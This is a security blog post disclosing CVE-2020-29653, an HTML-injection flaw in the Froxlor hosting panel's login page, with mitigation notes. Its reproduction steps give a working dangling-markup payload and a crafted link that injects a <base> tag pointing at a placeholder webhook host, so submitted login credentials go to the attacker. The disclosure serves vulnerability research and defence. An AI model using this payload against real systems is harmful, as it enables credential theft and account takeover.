CVE-2020-29653: Stealing Froxlor login credentials using dangling markup

Dangling markup is nothing new, yet it’s a useful way to exfiltrate information when a XSS is not achievable and you need to find a way to show the impact of the vulnerability. Detectify Crowdsource hacker Val_brux used this exact technique to discover and report a 0-day in Froxlor (a server administration software), which allows to steal login credentials of a victim user. The vulnerability has been assigned CVE-2020-29653.

This is a guest blog from Detectify Crowdsource ethical hacker, Valerio Brussani aka Val_brux. Detectify collaborates with the Crowdsource community to source the latest security research to power our scanners and help make the Internet safer together.

Background on dangling markup

When a cross-site scripting vulnerability does not seem exploitable, in order to demonstrate impact, dangling markup could be useful to steal cross-domain data and other sensitive information. This is what led to the discovery of CVE-2020-29653 which was a 0-day at the time.

Cross-Site Scripting (XSS) is a widespread category of vulnerabilities based on improper validation of user-input, which is subsequently reflected into a victim browser. In some cases, it could happen that a XSS is not exploitable, leading to a HTML injection vulnerability or in other cases to a useless bug. Usually this is due to a strict CSP policy, a mechanism inside browsers to prevent cross-site scripting attacks by defining a whitelist for web objects (such as frames, DOM elements etc.).

When a XSS is not exploitable, dangling markup could be leveraged to exfiltrate secrets saved inside a webpage by injecting some HTML tags; This could also include credentials or some sensitive tokens. Actually, no javascript code is executed, instead existing DOM elements are leveraged by injecting certain types of HTML tags. Dangling markup is nothing new, it is just a way to exfiltrate information, when a XSS is not achievable and there does not seem to be any other way to prove the impact of the vulnerability. Some good reference resources for dangling markup are provided below.

Dangling analysis of the Froxlor login panel

Some months ago in December, I was testing on a bug bounty target and I noticed an instance of a web application called Froxlor – an open-source platform to simplify hosting management of a web server. After analyzing its source code, I noticed that a piece of the index.php file (which controls the login among the other things), does not perform validation on user-input passed in the customermail GET parameter. More specifically, the value of this parameter is reflected unsanitized in the response webpage, when the showmessage GET parameter is set to the value 4. The mentioned process is highlighted in the following code:

As a consequence of the above code, it was possible to inject arbitrary HTML inside the webpage. As example, the following image shows the injection of the <b> HTML tag.

Although it was possible to inject arbitrary HTML tags, in the context of that bug bounty target, Froxlor prevented execution of any Javascript code by setting a very strict CSP policy.

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src 'self' data:; style-src 'self'; reflected-xss block;

The above CSP policy, blocks the execution of script tags and inline scripts, as well as the loading of external scripts located on external domains. It is important to mention that the above CSP could have been bypassed by uploading a file on the host, but on my target I had only unauthenticated access to the instance and therefore did not investigate this scenario. 

Although I could not execute any Javascript payloads, I realized I could leverage a dangling markup technique to steal the credentials of the login form present on the webpage. 

To perform this attack, it was necessary to exploit the HTML injection and insert a specific <base> tag pointing to an attacker-controlled website. Afterwards, when victim users were tricked into clicking on a malicious link and subsequently typed their credentials in the login form, this information would have been sent to the attacker in a POST request. This was possible since a relative path was loaded as an action attribute for the login form and the base-uri directive was missing.  

Here are the steps to reproduce this:

• Create a webhook online or use a server you control (For my test, I created a webhook on beeceptor.com ).
• Use the following payload for the customermail GET parameter:%3Cbase href="https://[WEBHOOK]"%3E


The payload changes the default base URL to the one of your webhook. In this way, the form already present on the webpage, when submitted by a user, will send data to https://[WEBHOOK].

The full crafted link to send to a victim user would have been:
https://[FROXLOR]/index.php?showmessage=4&customermail=%3Cbase%20href=%22https://%5BWEBHOOK%5D%22%3E

Click on that link and simulate a login. The credentials will be sent to the webhook instead of the original index.php endpoint used for the real login.

Potential Impact

Once you get a victim to click a malicious link or visit a custom webpage, the vulnerability could allow an attacker to steal credentials of other users registered on the Froxlor application. With this sensitive information in hand, the attacker can impersonate other users (such as admins) and potentially access the Froxlor administration panel.

If you’re a bug bounty hunter, it is crucial to show impact in case an HTML injection is identified and an XSS is difficult to achieve. The technique described here and an appropriate context could help to prove it, bypassing the CSP policy and exfiltrating sensitive information.

Mitigation

Froxlor instance > 0.10.22 partially mitigates the vulnerability by introducing XSS protection using AntiXSS. However, the issue is still present in part, as it is still possible to inject arbitrary tags inside the HTML web page. Probably this could be exploited in some other ways (e.g. using script gadgets inside imported JS libraries). This would be something worth to investigate further.

Conclusion

In conclusion, it is important to always think out-of-the-box when the obvious way to exploit a bug is not feasible and as a consequence you are not able to prove impact in a bug bounty program. Stay alert for the newest techniques and keep updated with the latest bugs discovered by the amazing infosec community to dangle your way to something impactful.

Further reading:

• Review: Froxlor Server Management Panel
• Server management: a comparison between Plesk, Froxlor and EHCP
• Dangling markup injection
• Dangling Markup – HTML scriptless injection

Written by:
Valerio Brussani aka val_brux

About Valerio:

Valerio has dedicated his career to information security, focusing on penetration testing and security research. He performs security assessments on different types of targets, ranging from web applications and mobile applications to infrastructures and IoT devices. Valerio also enjoys using his spare time to participate in bug bounties and perform freelance security research. You can follow him on Twitter or his personal blog at valbrux.it.

---

How does Detectify help?

Detectify has security tests available to find CVE-2020-29653 affecting Froxlor, among other vulnerabilities that were once 0-days. The testing is payload-based which means that we only alert about vulnerabilities which we can verify with exploitation (in a safe environment).

Detectify automatically check your websites, web servers and other software hosted for actively exploited web vulnerabilities beyond the OWASP Top 10. Give it a try and get your free scan here and get visibility over your web-facing assets in time to stop critical hacks from escalating.